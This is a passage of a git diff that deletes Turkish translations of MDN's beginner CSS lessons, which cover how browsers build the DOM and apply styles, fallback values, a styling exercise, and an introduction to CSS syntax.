ne için kullanıldığını ve basit stil sayfalarının nasıl yazılacağını öğrendin. Bu derste, bir tarayıcının CSS ve HTML'yi nasıl ele alıp bir web sayfasına dönüştürdüğüne bir göz atacağız.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS ve HTML'nin tarayıcı tarafında naısl ayrıştırıldığının ve bir tarayıcı CSS ile karşılaştığında ne olduğunun temellerini anlamak.</td> - </tr> - </tbody> -</table> - -<h2 id="CSS_gerçekten_nasıl_çalışır">CSS gerçekten nasıl çalışır?</h2> - -<p>Tarayıcı bir belgeyi görüntülediğinde, belgenin içeriği ile stil bilgisini birleştirmektedir. Bunuda aşağıda listelediğimiz birkaç aşamada işler. Bunun, tarayıcının bir web sayfasını yüklediğinde sergilediği davranışın çok basite indirgenmiş bir sürümü olduğunu ve farklı tarayıcıların işlemi farklı şekillerde ele alabileceğini unutma . Ancak kabaca olan budur.</p> - -<ol> - <li>Tarayici HTML'yi yükler(Örn. onu ağdan alır).</li> - <li>{{Glossary("HTML")}}'yi bir {{Glossary("DOM")}}'a (<em>Belge Nesnesi Modeli</em>) dönüştürür. DOM, bilgisayarın belleğindeki belleği temsil eder. DOM, sonraki bölümde biraz daha ayrıntılı olarak açıklanacak.</li> - <li>Tarayıcı daha sonra gömülü resimler ve videolar gibi HTML belgesi ile bağlantılı kaynaların çoğunu ve bağlantılı CSS'leri yükler! JavaScript süreç içinde biraz daha sonra ele alınacaktır. Ancak burada kafanda karışıklık olmaması için hakkında konuşmayacağız.</li> - <li>Tarayıcı, yüklenen CSS'de bulduğu seçicilere bağlı olarak kural seçici türlerine göre(örn, öğe, sınıf, kimlik vb.) kümeler. DOM'daki hangi düğümlere hangi kuralların uygualanması gerektiğini belirler ve bunlara gerektiği şekilde stil ekler(Bu ara adıma işleme ağacı denir).</li> - <li>Ağacı oluşturma, kurallar uygulandıktan sonra görünmesi gereken şekil yapıya yerleştirilir.</li> - <li>Sayfanın görsel görüntüsü ekrana getirilir(bu aşamaya boyama denir).</li> -</ol> - -<p>Aşağıdaki şema, işlemin basit bir görünümünü sunar.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/11781/rendering.svg" style="height: auto; max-width: 635px; width: 100%;"></p> - -<h2 id="DOM_hakkında">DOM hakkında</h2> - -<p>DOM'un ağaca benzer bir yapısı vardır. Biçimlendirme dilindeki her öğe, nitelik ve metin parçası ağaç yapsında bir {{Glossary("Node/DOM","DOM düğümü")}} haline gelir. Düğümler, diğer DOM düğümleriyle olan ilişkileriyle tanımlanır. Bazı öğeler, alt düğümlerin ebeveynleridir ve alt düğümlerin de kardeşleri vardır.</p> - -<p>DOM'u anlamak, CSS'ni tasarlamana, hataları ayıklamana ve bakımını yapmana yardımcı olur. Çünkü DOM, CSS'in ve belgenin buluştuğu yerdir. Tarayıcıda DevTools ile çalışmaya başladığında, hangi kuralların geçerli olduğunu görmek için öğeleri seçerken DOM'da geziyor olacaksın.</p> - -<h2 id="Gerçek_bir_DOM_örneği">Gerçek bir DOM örneği</h2> - -<p>Uzun ve sıkıcı bir açıklamadan ziyade, gerçek bir HTML kesitinin DOM'a nasıl dönüştürüldüğünü görmek için bir örneğe bakalım.</p> - -<p>Aşağıdaki HTML kodunu ele alalım:</p> - -<pre class="brush: html notranslate"><p> - Let's use: - <span>Cascading</span> - <span>Style</span> - <span>Sheets</span> -</p></pre> - -<p>DOM'da, <code><p></code> nesnemize karşılık gelen düğüm(<code>P</code>) bir ebeveyndir. Düğümümüzün çocukları bir adet metin düğümü ve üç adet <code><span></code> öğemize karşılık gelen (<code>SPAN</code>) düğümüdür. <code>SPAN</code> Düğümlerimizde kendi metin düğümlerinin ebeveynleridir.</p> - -<pre class="notranslate">P -├─ "Let's use:" -├─ SPAN -| └─ "Cascading" -├─ SPAN -| └─ "Style" -└─ SPAN - └─ "Sheets"</pre> - -<p>Bir tarayıcının önceki HTML kesitini nasıl yorumladığını gösterdik. Tarayıcı yukarıdaki DOM ağacını işler ve ardından bunu tarayıcıda şu şekilde görüntüler :</p> - -<p>{{EmbedLiveSample('A_real_DOM_representation', '100%', 55)}}</p> - -<div class="hidden"> -<pre class="brush: css notranslate">p {margin:0;}</pre> -</div> - -<h2 id="DOMa_CSS_uygulama">DOM'a CSS uygulama</h2> - -<p>Diyelim ki belgemize stil vermek için biraz CSS ekledik. HTML kesitimiz aşağıdaki gibidir:</p> - -<pre class="brush: html notranslate"><p> - Let's use: - <span>Cascading</span> - <span>Style</span> - <span>Sheets</span> -</p></pre> - -<p>Diyelimki ona aşağıdaki CSS'i uyguladık:</p> - -<pre class="brush: css notranslate">span { - border: 1px solid black; - background-color: lime; -}</pre> - -<p>Tarayıcı HTML'yi çözümleyecek ve bundan bir DOM oluşturacak, ardından CSS'i çözümleyecektir. CSS'de bulunan tek kuralın bir <code>span</code> seçicisi olması nedeniyle, tarayıcı CSS'i çok hızlı bir şekilde sıralayabilecektir. Bu kuralı <code><span></code> öğelerinin üçünede uygulayacak ve son görseli renklendirecektir.</p> - -<p>Güncellenen çıktı aşağıdaki gibidir:</p> - -<p>{{EmbedLiveSample('Applying_CSS_to_the_DOM', '100%', 55)}}</p> - -<p>Bir sonraki kısımdaki <a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS Hata Ayıklama</a> dersimizde, CSS sorunlarını ayıklamak için tarayıcıda DevTools'u kullanacağız ve tarayıcının CSS'i nasıl yorumladığı hakkında daha fazla bilgi edineceğiz.</p> - -<h2 id="Tarayıcı_anlamadığı_bir_CSS_ile_karşılaşırsa_ne_olur">Tarayıcı anlamadığı bir CSS ile karşılaşırsa ne olur?</h2> - -<p><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS#Browser_support">Daha önceki bir derste</a> tarayıcıların aynı anda yeni çıkan CSS kodlarını uygulamadığından bahsetmiştim. Ayrıca, birçok kişi bir tarayıcının en son sürümünü kullanmamaktadır. CSS'in her zaman geliştirildiği ve bu nedenle tarayıcıların tanıyabileceklerinin ötesinde olduğu göz önüne alındığında, bir tarayıcı tanımadığı bir CSS seçici veya bildirimiyle karşılaştığında ne olacağını merak edebilirsin.</p> - -<p>Cevap; hiç bir şey yapmaması ve sadece bir sonraki CSS parçasına geçmesidir!</p> - -<p>Bir tarayıcı kurallarını çözümlediğinde anlamadığı bir özellik veya değerle karşılaşırsa, onu yok sayar ve bir sonraki bildirime geçer. Bir hata yaptıysan yada bir nitelik veya değer çok yeniyse ve tarayıcın bunu henüz desteklemiyorsa bildirimi veya kuralı yok sayar.</p> - -<div id="Skipping_example"> -<pre class="brush: html notranslate"><p> I want this text to be large, bold and blue.</p></pre> - -<pre class="brush: css notranslate">p { - font-weight: bold; - colour: blue; /* incorrect spelling of the color property */ - font-size: 200%; -}</pre> -</div> - -<p>{{EmbedLiveSample('Skipping_example', '100%', 200)}}</p> - -<p>Tarayıcıların bu yaklaşımı çok faydalıdır. Bu, bildirimin anlaşılmadığında herhangi bir hata almayacağını bilerek, yeni CSS bildirimlerini bir geliştirme olarak kullanabileceğin anlamına gelir — tarayıcı yeni özelliği alıp almaması bizim için sorun teşkil etmez. Cascade (art arda denetimin)'ın çalışma şekli ve tarayıcıların aynı nitelikte iki kuralın olduğu bir stil sayfasıyla karşılaştıklarında son CSS'i kullanmaları gerçeğiyle birleştiğinde, yeni CSS'i desteklemeyen tarayılar için alternatifler sunabilirsin.</p> - -<p>Bu, yeni ve her tarayıcı tarafından desteklenmeyen bir nitelik/değer kullanmak istediğinde işine yarar. Örneğin, bazı eski tarayıcılar <code>calc()</code> fonksiyonunu bir değer olarak desteklemez. Peki bunun için ne yapabilirim? Bir kutu için piksel cinsinden genişlik verebilirim (<code>width: 500px)</code>, sonrada <code>calc(100% - 50px)</code> fonksiyonuyla bir değer vermeye devam edebilirim. Eski tarayıcılar, <code>calc()</code> fonksiyonunu anlamadıkları için ilgili satırı yok sayarak piksel sürümünü kullanırlar. Yeni tarayıcılarda çizgiyi piksel kullanarak yorumlacak ancak daha sonraki basamakta <code>calc()</code> fonksiyonunu görüp bu kuraldaki değeri uygulayacaklardır. Önceki satırdaki değer geçersiz sayacaklardır.</p> - -<pre class="brush: css notranslate">.box { - width: 500px; - width: calc(100% - 50px); -}</pre> - -<p>Sonraki derste çeşitli tarayıcıları desteklemenin daha birçok yolunu inceleyeceğiz.</p> - -<h2 id="Ve_sonunda">Ve sonunda</h2> - -<p>Bu kısmı neredeyse bitirdin; yapacak sadece bir işimiz kaldı. Bir sonraki makalede <a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">öğrendiklerini uygulacak</a> ve bu süreçte bazı CSS'leri test edeceksin.</p> - -<p>{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">CSS Nedir?</a></li> - <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS'e başlarken</a></li> - <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS nasıl yapılandırılır</a></li> - <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS nasıl çalışır</a></li> - <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Öğrendiklerini uygula </a></li> -</ol> diff --git a/files/tr/learn/css/first_steps/index.html b/files/tr/learn/css/first_steps/index.html deleted file mode 100644 index 8a0dae72ad..0000000000 --- a/files/tr/learn/css/first_steps/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: CSS'e ilk adım -slug: Learn/CSS/First_steps -tags: - - Acemi - - Beginner - - CSS - - Landing - - Learn - - Modul - - Module - - first steps - - İlk Adım -translation_of: Learn/CSS/First_steps -original_slug: Öğren/CSS/Ilk_adimlar ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">CSS (Basamaklı Stil Sayfaları), web sayfalarını biçimlendirmek ve düzenlemek için kullanılır — örn., içeriğinin yazı tipini, rengini, boyutunu ve aralığını değiştirmek; birden çok sütuna bölmek, animasyonlar ve diğer dekoratif özellikler eklemek gibi. Bu bölüm, nasıl çalıştığını, söz diziminin neye benzediğini ve bunu HTML'ye, stil ekelemek için nasıl kullanmaya başlayabileceğinle ilgili, temel bilgilerle CSS uzmanlığına doğru giden yolunda yumuşak bir başlangıç sağlar.</p> - -<div class="callout"> -<h3 id="Bir_front-endarayüz_geliştiricisi_mi_olmak_istiyorsun"><span class="highlight-span">Bir front-end(arayüz) geliştiricisi mi olmak istiyorsun?</span></h3> - -<p>Hedefine ulaşabilmen için ihtiyanıcın olan tüm temel bilgileri içeren bir kurs hazırladık.</p> - -<p><a class="cta primary" href="/tr/docs/Learn/Front-end_web_developer">Başla</a></p> -</div> - -<h2 id="Önkoşullar">Önkoşullar</h2> - -<p>Bu bölüme başlamadan önce sağlama gereken koşullar şunlardır:</p> - -<ol> - <li>Bilgisayarları ve interneti basit bir şekilde kullanma (örn., gazete okumak, konu araştırmak) hakkında bilgi sahibi olmalısın.</li> - <li><a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" rel="nofollow">Gerekli yazılımların kurulumu</a> dersinde ayrıntılı olarak açıklandığı gibi gerekli yazılımların kurulu olduğu bir sistem, <a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" rel="nofollow">Dosyalarla çalışma</a> dersinde ayrıntılı olarak anlatıldığı şekilde dosyaların nasıl oluşturulacağını ve yönetileceğini öğrenmiş olmalısın.</li> - <li><a href="/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> konusunda anlatıldığı gibi temel HTML bilgisi sahibi olmalısın.</li> -</ol> - -<div class="note"> -<p><strong>Not</strong>: Kendi dosyalarını oluşturma yeteneğin olmayan bir bilgisayar, tablet veya başka bir cihaz üzerinde çalışıyorsan, <a href="http://jsbin.com/">JSBin</a> veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi kodlama yapabileceğin bir sitede kod örneklerini(çoğunu) deneyebilirsin.</p> -</div> - -<h2 id="Bölümler">Bölümler</h2> - -<p>Bu eğitim serisi, sizi tüm temel CSS teorilerine götürecek ve bazı becerileri test etmen için fırsatlar sunacak bölümleri içerir.</p> - -<dl> - <dt><a href="/tr/docs/Learn/CSS/First_steps/What_is_CSS">CSS nedir?</a></dt> - <dd><strong><a href="/tr/docs/Glossary/CSS">CSS</a></strong> (Basamaklı stil sayfaları) harika görünen web sayfaları oluşturmana olanak tanır, fakat kaputun altında nasıl çalışır? Bu bölümde, basit bir sözdizimi örneğiyle CSS'in ne olduğunu ve dil hakkındaki bazı temel terimleri açıklayacağız.</dd> - <dt><a href="/tr/docs/Learn/CSS/First_steps/Getting_started">CSS'e başlarken</a></dt> - <dd>Bu Yazıda basit bir HTML belgesini alıp ona CSS uygulayacağız, bu sırada dil hakkında bazı pratik bilgiler öğreteceğiz.</dd> - <dt><a href="/tr/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS nasıl yapılandırılır</a></dt> - <dd>Artık CSS'in ne olduğu ve onu kullanmanın temelleri hakkında bir fikrin olduğuna göre, dilin kendi yapısına biraz daha derinlemesine bakmanın zamanı geldi. Burada tartışılan kavramların çoğuyla zaten tanıştık; daha sonraki kavramları kafa karıştırıcı bulursan, bir özet geçmek için bu bölüme geri dönebilirsin.</dd> - <dt><a href="/tr/docs/Learn/CSS/First_steps/How_CSS_works">CSS nasıl çalışır?</a></dt> - <dd>CSS'in temelerini, ne için olduğunu ve basit stil sayfalarının nasıl yazılacağını öğrendik. Bu bölümde, bir tarayıcının CSS ve HTML'yi nasıl alıp bir web sayfasına dönüştürdüğüne bir göz atacağız</dd> - <dt><a href="/tr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Öğrendiklerini kullanın</a></dt> - <dd>Son birkaç derste öğrendiğin bilgilerle, basit metin belgelerini CSS kullanarak, onlara kendi stilini eklemek için biçimlendirebileceğini keşfetmelisin. Bu makale size bunu yapma şansı veriyor.</dd> -</dl> - -<h2 id="Göz_at">Göz at</h2> - -<dl> - <dt><a href="https://teach.mozilla.org/activities/intermediate-web-lit/">Orta Düzey Web Okuryazarlığı 1:CSS'e Giriş</a></dt> - <dd>CSS'ye giriş bölümünde bahsedilen birçok beceriyi araştıran ve test eden mükemmel bir Mozilla hazırlık kursu. Bir web sayfasında, CSS seçicilerin, niteliklerin ve değerlerin bir HTML sayfasındaki öğelerin stilini belirlemesi hakkında bilgi edinin.</dd> -</dl> diff --git a/files/tr/learn/css/first_steps/using_your_new_knowledge/index.html b/files/tr/learn/css/first_steps/using_your_new_knowledge/index.html deleted file mode 100644 index 480eb8f7c5..0000000000 --- a/files/tr/learn/css/first_steps/using_your_new_knowledge/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Öğrendiklerini uygula -slug: Learn/CSS/First_steps/Using_your_new_knowledge -tags: - - Acemi - - Başlangıç - - Beginner - - CSS - - Eğitim - - Learn - - Playground - - oyun alanı -translation_of: Learn/CSS/First_steps/Using_your_new_knowledge -original_slug: Öğren/CSS/Ilk_adimlar/Ogrendiklerinizi_Uygulayın ---- -<p>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> - -<p class="summary">Son birkaç derste öğrendiklerinle, basit bir metin belgesine CSS'i kullanarak, onlara kendi stilini uygulayabileceğini gördün. Bu makele öğrendiklerini uygulayabileceğini gösterecektir.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön Koşul:</th> - <td>Bu makaleye geçmeden önce CSS temelleri kısmının geri kalanını çalışmış ve HTML temellerini anlamış olman gerekir (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a>).</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Biraz CSS ile oyun oynamak ve yeni öğrendiğin bilgilerini test etmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Başlangıç_noktası">Başlangıç noktası</h2> - -<p>Aşağıdaki canlı düzenleyicide çalışabilir veya kendi düzenleyicinle çalışmak için <a href="https://github.com/mdn/css-examples/blob/master/learn/getting-started/biog-download.html/">örnek dosyayı </a>indirebilirsin. Bu, HTML içeren tek bir dosyadır ve içerisinde "Dahili CSS" tanımları vardır. Alternatif olarak çevrimiçi(online) kod düzenleyebileceğin şu sayfalarıda kullanabilirsin: <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, ve <a href="https://glitch.com/" rel="noopener">Glitch</a>.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Takıldığın noktalarda bizden yardım isteyebilirsin — <a href="/tr/docs/Learn/CSS/First_steps/Using_your_new_knowledge#Assessment_or_further_help">Değerlendirme ve daha fazlası</a> bölümüne bakabilirsin.</p> -</div> - -<h2 id="CSS_ile_çalışmak">CSS ile çalışmak</h2> - -<p>Aşağıdaki etkileşimli örnek, CSS kullanılarak şekillendirilmiş bir biyografiyi göstermektedir. Kullandığım CSS nitelikleri aşağıdaki gibidir — her biri MDN'deki nitelik sayfasına bağlanır, bu size kullanımıyla ilgili daha fazla örnek verecektir.</p> - -<ul> - <li>{{cssxref("font-family")}}</li> - <li>{{cssxref("color")}}</li> - <li>{{cssxref("border-bottom")}}</li> - <li>{{cssxref("font-weight")}}</li> - <li>{{cssxref("font-size")}}</li> - <li>{{cssxref("text-decoration")}}</li> -</ul> - -<p>Seçicilerden, h1 ve h2 gibi stil etiketlerinin bir karışımını kullandım, ancak aynı zamanda iş başlığı için bir sınıf oluşturdum ve onu şekillendirdim.</p> - -<p>Kullandığım niteliklere farklı değerler girerek, bu biyografinin görünümünü değiştirin.</p> - -<ol> - <li>CSS <code>color</code> niteliğini kullanarak birinci seviye başlığın rengini sıcak pembe(<code>hotpink)</code> yap.</li> - <li>Birinci seviye başlığın altına {{cssxref("border-bottom")}} niteliği ile 10px boyutunda noktalı(<code>dotted</code>) çizgi atın ve rengini mor(<code>purple</code>) yap.</li> - <li>2. düzey başlığı italik yap.</li> - <li><code>ul</code> etikemizin arka plan renk {{cssxref("background-color")}} değerini #eeeeee yap ve ayrıca mor(<code>purple</code>) renginde ve 5px kalınlığında çerçeve({{cssxref("border")}}) ekle. İçeriği çerçeveden uzaklaştırmak için <code>paddin</code> niteliğine kullan.</li> - <li>Linklerin üzerine gelindiğinde renginin yeşil(<code>green</code>) olmasını sağla.</li> -</ol> - -<p>Çıktının resimdeki gibi gözükmesi gerekmektedir.</p> - -<p><img alt="Screenshot of how the example should look after completing the assessment." src="https://mdn.mozillademos.org/files/17035/learn-css-basics-assessment.png" style="height: 1199px; width: 1104px;"></p> - -<p><a href="/tr/docs/Web/CSS/Reference">MDN CSS reference</a> safasında, burada bahsedilmeyen bazı özelliklere göz atıp maceraya atıl!</p> - -<p>Burada yanlış bir cevap olmadığını unutma — öğreniminin bu aşamasında biraz eğlenebilirsin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} </p> - -<h2 id="Değerlendirme_ve_daha_fazlası">Değerlendirme ve daha fazlası</h2> - -<p>Çalışmanın değerlendirilmesini veya takıldığın bir noktada yardım almak istediğinde yapman gerekenler:</p> - -<ol> - <li>Çalışmanı <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, veya <a href="https://glitch.com/" rel="noopener">Glitch</a> gibi çevrimiçi bir düzenleyiciye kaydet.</li> - <li><a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a> sayfasına değerlendirme veya yardım için bir gönderi yaz. Gönderinde olması gerekenler: - <ul> - <li>"CSS ilk adımları için değerlendirme gerekmektedir" gibi açılayıcı bir metin.</li> - <li>Hali hazırda denediklerini ve bizden ne yapmamızı istediğinle ilgili ayrıntılar. Örneğin, bir niteliğe değer atarken sorunla karşılaşırsan veya yaptığının değerlendirilmesini istiyorsan.</li> - <li>Yukarıdaki 1. adımda bahsedilen çevrim içi düzenleyicilere kaydettiğin kodun bağlantısı. Bu, bizden istediğin değerlendirme ve yardım için gereklidir. Göremediğimiz kod üzerinden birisine yardım etmek çok zordur.</li> - <li>Yardım istediğin konunun <em><u>sorusunu</u> </em>içeren sayfanın bağlantısı.</li> - </ul> - </li> -</ol> - -<h2 id="Sıradaki_ne">Sıradaki ne?</h2> - -<p>Bu ilk üniteyi tamamladığın için tebrikler. Artık CSS hakkında iyi bir genel anlayışa sahip olmalısın ve bir stil sayfasında olup bitenlerin çoğunu anlayabiliyorsundur. bir sonraki ünite olan <a href="/tr/docs/Learn/CSS/Building_blocks">CSS'in yapı taşlarında</a>, birkaç önemli konuya derinlemesine bakmaya devam edeceğiz.</p> - -<p>{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> - -<h2 id="Bu_ünitede">Bu ünitede</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/First_steps/What_is_CSS">CSS nedir</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/Getting_started">CSS'e başlarken</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS nasıl yapılandırılır</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/How_CSS_works">CSS nasıl çalışır</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Öğrendiklerini uygulama</a></li> -</ol> diff --git a/files/tr/learn/css/first_steps/what_is_css/index.html b/files/tr/learn/css/first_steps/what_is_css/index.html deleted file mode 100644 index 1afe811fc0..0000000000 --- a/files/tr/learn/css/first_steps/what_is_css/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: CSS Nedir? -slug: Learn/CSS/First_steps/What_is_CSS -tags: - - Beginner - - CSS - - CSS Giriş - - Introduction to CSS - - Learn - - Modules - - Modüller - - Ogrenim - - Ozellikler - - Sozdizimi - - Specifications - - Syntax -translation_of: Learn/CSS/First_steps/What_is_CSS -original_slug: Öğren/CSS/Ilk_adimlar/CSS_Nedir ---- -<div>{{LearnSidebar}}</div> - -<div>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</div> - -<p class="summary"><strong>{{Glossary("CSS")}}</strong>(Basamaklı Stil Sayfaları) harika görünen web sayfaları oluşturmana olanak tanır, ancak arka planda nasıl çalışır? Bu makale, basit bir sözdizimi örneğiyle CSS'in ne olduğunu açıklar ve ayrıca dil hakkında ki bazı temel terimleri ele alır.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön Koşullar:</th> - <td><a class="external new external-icon" href="https://wiki.developer.mozilla.org/tr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" rel="nofollow noopener">Gerekli yazılımların kurulumu</a> dersinde ayrıntılı olarak açıklandığı gibi, gerekli yazılımların kurulu olduğu bir sistem; <a class="external new external-icon" href="https://wiki.developer.mozilla.org/tr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" rel="nofollow noopener">Dosyalarla çalışma</a> dersinde ayrıntılı olarak anlatıldığı şekilde dosyaların nasıl oluşturulacağını ve yönetileceği hakkında bilgi, <a href="https://wiki.developer.mozilla.org/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> konusunda anlatıldığı gibi temel HTML hakkında bilgi sahibi olmalısın.</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS'in ne olduğunu öğrenmek</td> - </tr> - </tbody> -</table> - -<p><a href="https://wiki.developer.mozilla.org/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> kısmında HTML'nin ne olduğu ve belgeleri oluşturmak için nasıl kullanıldığını ele aldık. Oluşturulan bu belgeler bir web tarayacısından okunabilir olacaktır. Başlıklar normal metinden daha büyük görünecek, parafraflar yeni bir satıra bölünecek ve aralarında boşluk olacaktır. Bağlantılar, onları diğer metinlerden ayırmak için renkli ve altı çizilmiş olacaktır. Sayfa üzerinde ki gördüğün farklılıklar, sayfanın yazarı tarafından açık bir stil belirtilmemiş olsa bile sayfanın okunabilir olması için HTML'ye tarayıcının uyguladığı varsayılan stillerdir.</p> - -<p><img alt="The default styles used by a browser" src="https://mdn.mozillademos.org/files/16493/html-example.png" style="border: 1px solid #cccccc; height: 594px; width: 1385px;"></p> - -<p>Ancak, tüm web siteleri böyle görünseydi web gerçekten sıkıcı bir yer olurdu. CSS kullanarak, HTML öğelerinin tarayıcıda tam olarak nasıl göründüğünü kontrol edebilir, istediğin tasarımı kullanarak sayfanı oluşturabilirisin.</p> - -<p>Tarayıcının varsayılan stilleri hakkında daha fazla bilgi için aşağıdaki videoyu izle.</p> - -<p>{{EmbedYouTube("spK_S0HfzFw")}}</p> - -<h2 id="CSS_ne_içindir">CSS ne içindir?</h2> - -<p>Daha öncede bahsettiğimiz gibi, CSS belgelerin kullanıcılara nasıl sunulacağını, nasıl biçimlendirileceğini, nasıl yerleştirileceklerini vb. gibi şeyleri belirleyen bir dildir.</p> - -<p>Bir <strong>belge</strong> genellikle bir biçimlendirme dili kullanılarak yapılandırılmış bir metin dosyasıdır. — <a href="https://wiki.developer.mozilla.org/tr/docs/Glossary/HTML">HTML</a> en yaygın biçimlendirme dilidir, ancak <a href="https://wiki.developer.mozilla.org/tr/docs/Glossary/SVG">SVG</a> veya <a href="https://wiki.developer.mozilla.org/tr/docs/Glossary/XML">XML</a> gibi başka biçimlendirme dilleriyle de karşılaşabilirsin.</p> - -<p>Bir dökümanı bir kullanıcıya <strong>sunmak</strong>, onu ziyaretçinin anlayabileceği bir forma dönüştürmek anlamana gelir. <a href="https://wiki.developer.mozilla.org/tr/docs/Glossary/Web_Taray%C4%B1c%C4%B1s%C4%B1">Tarayıcılar</a>, sevdiğim <a href="https://wiki.developer.mozilla.org/tr/docs/Glossary/Mozilla_Firefox">Firefox</a>, <a href="https://wiki.developer.mozilla.org/tr/docs/Glossary/Google_Chrome">Chrome</a> veya <a href="https://wiki.developer.mozilla.org/tr/docs/Glossary/Microsoft_Edge">Edge</a>, belgeleri bir bilgisayar ekranında, projektörde veya yazıcıda görsel olarak sunmak için tasarlanmıştır.</p> - -<div class="blockIndicator note"> -<p><strong>Note</strong>: Tarayıcıya bazen {{Glossary("User agent","kullanıcı aracı")}} denir ve bu temelde bir bilgisayar sistemi içerisindeki bir kişiyi temsil eden bir bilgisayar programı anlamına gelir. Tarayıcılar, CSS hakkında konuşurken aklımıza gelen ana kullanıcı arayüzüdür, fakat sadece bunlar değildir. Kullanılabilir başka kullanıcı aracıları da vardır - HTML ve CSS belgelerini yazdırılabilen PDF'lere dönüştüren programlar gibi.</p> -</div> - -<p>CSS, en basit şekilde belge metninin şekillendirimesi için kullanılabilir — örn; başlıkların ve bağlantıların <a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/color_value" rel="nofollow">rengi</a> ve <a href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/font-size">boyutunu</a> değiştirmek ve düzen oluşturmak için de kullanılabilinir — örn; <a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/Layout_cookbook/Column_layouts" rel="nofollow">tek bir metin sütununu bir düzene dönüştürmek</a>. <a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/CSS_Animations" rel="nofollow">Animasyon</a> gibi efektler için bile kullanılabilir. Belirli örnekler için bu paragraftaki bağlantılara bir göz atın.</p> - -<h2 id="CSS_sözdizimi">CSS sözdizimi</h2> - -<p>CSS kural tabanlı bir dildir — web sayfandaki belirli öğelere veya öğe gruplarına uygulanmasını istediğin stilleri belirleyen kurallar tanımlarsın. Örn; "Sayfamdaki ana başlığın büyük ve kırmızı bir metin olarak gösterilmesini istiyorum".</p> - -<p>Aşağıdaki kod, yukarıda açıklanan stili elde edecek çok basit bir CSS kuralını gösterir:</p> - -<pre class="brush: css notranslate">h1 { - color: red; - font-size: 5em; -}</pre> - -<p>Kural, bir öğe {{Glossary("CSS Selector", "seçici")}} ile başlar. Bu, biçimlendireceğimiz HTML öğesini <em>seçer</em>. Bu başlangıç ile birinci seviye başlıkların stilini belirleyeceğimizi {{htmlelement("h1")}} belirtiyoruz.</p> - -<p>Daha sonra bir dizi süslü parantezimiz <code>{ }</code>var. Bunların içinde, <strong>nitelik</strong> ve <strong>değer</strong> çifti biçimini alan bir veya daha fazla <strong>beyan</strong> olacaktır. Her bir çift, seçtiğimiz öğelerin bir niteliğini ve ardından niteliğe vermek istediğimiz bir değeri belirtir.</p> - -<p>İlk önce niteliğimiz ve niteliğe atayacağımız değerimiz var. CSS {{Glossary("property/CSS","niteliğinin")}} kendisine bağlı olarak, atayabileceğin farklı değerlere sahip olabilir. Örneğimizde, çeşitli renk değeri alabilen <code>color</code> niteliğine sahibiz. Ayrıca <code>font-size</code> niteliğinede sahibiz. Bu nitelik, çeşitli <a class="new" 